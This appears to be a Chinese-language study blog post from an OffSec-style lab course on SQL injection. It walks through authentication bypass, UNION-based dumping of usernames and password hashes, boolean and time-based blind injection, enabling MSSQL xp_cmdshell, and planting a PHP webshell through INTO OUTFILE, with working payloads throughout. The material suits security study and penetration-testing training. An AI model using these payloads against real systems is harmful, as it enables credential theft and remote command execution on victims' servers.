SQL Injection 攻擊

 SQL Injection 攻擊

最基本簡單的帳號密碼輸入繞過方式為輸入 ' OR 1=1 -- //

例如某網站使用者名稱存在 SQL Injection,於使用者名稱輸入 offsec' (最後面加上單引號)

下方顯示 SQL 輸出錯誤,可以簡單快速了解網站欄位存在 SQL Injection




使用者欄位改成輸入 offsec' OR 1=1 -- // ,因為 1=1 始終成立就可以成功繞過驗證




再來直接輸入 ' or 1=1 in (select @@version) -- // 查看資料庫版本,結果成功輸出如下圖




接著野心大一點輸入 ' OR 1=1 in (SELECT * FROM users) -- // 讓他輸出所有的使用者

結果如下圖噴了錯誤訊息,由於有存在 SQL Injection 但沒有成功輸出

判斷有可能是一次僅能輸出一行




所以修改語法為 ' or 1=1 in (SELECT password FROM users) -- // 讓輸出限定在 password

這次成功輸出,看來判斷正確,也成功確定密碼欄位看來就是叫 password



下一步就是開始猜測使用者帳號,例如 admin,所以修改語法如下將使用者限定在 admin

' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //

因為有輸出所以確定 admin 帳號存在並成功獲取密碼的 HASH 值
也一併確認使用者欄位在資料庫中名稱為 username






一旦發現 SQL Injection 存在且網頁返回值一起顯示時

一定要測試基於 UNION 的 SQL Injection

例如某網頁的後端查詢客戶名稱原始碼如下

$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";


表示該網頁依據輸入的值來返回查詢的結果,如果返回的輸出頁面如下

可以看到共有四個欄位,但也有可能是輸出顯示四欄而已





若存在 SQL Injection 可以透過排列的 SQL 語法測試,例如 ' ORDER BY 1-- //

當使用 % ' ORDER BY 1-- // 輸出結果與 % 一樣時,通常表示存在第一個看不到的欄位

預設輸出結果是依據該結果輸出,或是限在網頁上呈現的第一個欄位即為預設的排列呈現

% ' ORDER BY 1-- //  查詢輸出如下圖,結果與上一張圖內容一致




每次增加值 1 遞增 (例如 : ' ORDER BY 2-- //)

加到 6 時若返回如下錯誤訊息,就可以明確得知共有五個欄位(原始輸出僅有 4 個)



已知有五個欄位所以可以嘗試攻擊語法如下

%' UNION SELECT database(), user(), @@version, null, null -- //

由於我們想要從 customer Table 中檢索所有數據,因此我們使用百分號後跟單引號來關閉搜索參數。然後使用 UNION SELECT 語句開始注入查詢,該語句分別轉儲第一、第二和第三列中的當前數據庫名稱、用戶和 MySQL 版本,其餘兩列為空。

輸出結果如下圖,可以看到第一個欄位是使用者,第二個欄位顯示是版本

第一個語法條件 database() 資料庫名稱沒有出現,這是因為通常第一個欄位為 ID 字段(例如 UID),因為 ID 通常對於使用者來說不是有用的訊息,甚至會造成混亂




上述為推斷的結果,但幾乎可以 99.99% 確認隱藏的欄位就是遞增的唯一值 UID

所以這時候我們就可以修改 UNION 語法來呈現結果,例如將 null 移到前面兩個欄位

語法 : ' UNION SELECT null, null, database(), user(), @@version  -- //

上述語法一併移除了開頭的 % 符號,這是因為已經大概知道結果的預期所以無需其他資料
本次輸出結果如下圖,與預期的結果一致,offsec 即為 Database 名稱



資料庫相關資訊存在放 "information_schema" 數據庫檢索列表中

現在我們有五個欄位可以輸出,然後顯示四個欄位(第一個是隱藏的欄位不輸出顯示)

所以我們可以檢索看看此資料庫中的相關欄位與隸屬哪個 Table 與資料庫,語法如下

讓第一、第五保留空白 null,需要的資料放到第二、三、四欄位來顯示

' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //


出現了我們最愛的 users Table,與最棒的欄位 username、password

所以下一步的語法當然就是直接輸出使用者名稱與密碼啦,順便帶個描述,語法如下

' UNION SELECT null, username, password, description, null FROM users -- //

因為資料庫只有一個,若要指定 offsec 資料庫語法如下

' UNION SELECT null, username, password, description, null FROM offsec.users -- //

漂亮的結果輸出,密碼為 32 碼的 HASH 值,看來是 MD5




Blind SQL Injections

上述的相關 SQL Injection 可以看到結果會透過網頁或是 HTTP 的 Content 顯示內容回傳

但實際環境有另一種是永遠不會返回資料庫響應內容的稱為 "Blind SQL Injection"(SQL 盲注)

而是透過基於布林(boolean)或時間(time-based)的邏輯來推斷結果

布林值 (Boolean) : 當資料庫返回 True or False 時應用程式會響應不同但可預測的結果來判斷 SQL 注入是否成功,亦可稱為條件判斷。

基於時間 (time-based) : 通過指示資料庫等待特定的時間(攻擊端輸入)來推斷查詢結果的響應時間判斷該攻擊語法是 True or False。


登入某網站顯示如下畫面,透過網址查看是透過 Query String 來顯示結果



網址是 http://192.168.50.16/blindsqli.php?user=offsec

由於 1 始終為 1 所以可以在原網址後面輸入 SQL Injection 如下

http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //

接著我們可以在 Query String 中帶入不同的使用者名稱,例如 user=admin

http://192.168.50.16/blindsqli.php?user=admin' AND 1=1 -- //



來查看網頁的返回結果確認整個資料庫的使用者名稱,甚至可能查詢驗證其他的表中的資料



同一個網址中可以一併測試基於時間的注入是否成功,範例攻擊注入語法如下

http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

該語法中附加了一個 IF 的條件,由於我們已知 offsec 使用者帳號是存在的所以始終為 True
如果使用者帳號不存在則返回 false,但網頁不一定會有回應,所以下了另外一個條件為 sleep(3)
這個意思是說一開使用 offsec 這個使用者帳號查詢並等待 3 秒再回應,因為是 True 所以等待 3 秒後會回應,若變更查詢條件(例如 : user=admin) 一樣等待 3 秒有回應則證明存在,若返回 false 或是沒回應則證明不存在。

如果帳號存在,如送出上述語法中的 offsec 帳號,會發現瀏覽器等待了 3 秒才會顯示如下結果




若送出一個不存在的帳號,例如 : secoff, 則因為 false 畫面會馬上出現如下





手動代碼執行 (Manual Code Execution)

接著要來探討如何透過 SQL Database 獲取系統的權限,以 MSSQL 而言

當我們有了 SQL Database 的管理權限還是只能對資料庫進行檢索等查詢但無法對資料庫本身所在的機器做任何事情,所以可以透過 xp_cmdshell 來達到目的,該函數預設被禁用,且如果要使用需要透過 EXECUTE 指令來調用而不是 SELECT。


假設我們已經有某 MSSQL Database 的管理者權限,如上所述使用 impacket-mssqlclient 工具遠端登入

└─$ impacket-mssqlclient Administrator:Lab123@192.168.203.18 -windows-auth



先輸入 EXECUTE sp_configure 'show advanced options', 1; 來啟用顯示高級選項

接著輸入 RECONFIGURE; 將更改的設定套用到運行環境的配置

再輸入 EXECUTE sp_configure 'xp_cmdshell', 1; 啟用我們要的 xp_cmdshell

一樣輸入 RECONFIGURE; 將更改的設定套用到運行環境的配置



前面有提到啟用了 xp_cmdshell 後使用的指令是 EXECUTE 而不是 Select

所以輸入指令語法為 EXECUTE xp_cmdshell 'whoami'; 可以看到成功的輸出當前使用者



試試看 ipconfig 可否呈現,指令 EXECUTE xp_cmdshell 'ipconfig'; 一樣成功顯示如下





另外在 MySQL 上面有提到 UNION SELECT 方式的注入攻擊,若此時網頁執行的權限具有寫入磁碟機檔案文件的權限,加上用 php 語言開發(大部分 MySQL 都是配合 php),以及知道網站檔案存放路徑那就可以使用以下語法來注入 webshell 攻擊

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

上述有五個欄位,我們將第一個欄位改完一段 webshell PHP 語法並在最後寫入到位置
/var/www/html/tmp/webshell.php

如果顯示如下可能代表該帳號沒有寫入權限,或是沒有該路徑的權限,或是路徑猜測錯誤



但如果顯示如下,看來像是錯誤訊息但這與不正確的返回類型有關

並不影響在該位置寫入 webshell,看來應該是成功的



讓我們來測試看看,透過網址帶入 Query 參數 cmd=id 結果輸出如下圖

webshell 是正常執行的,下一步正常就是建立 Remote Shell 透過 Terminal 操作最方便

































留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)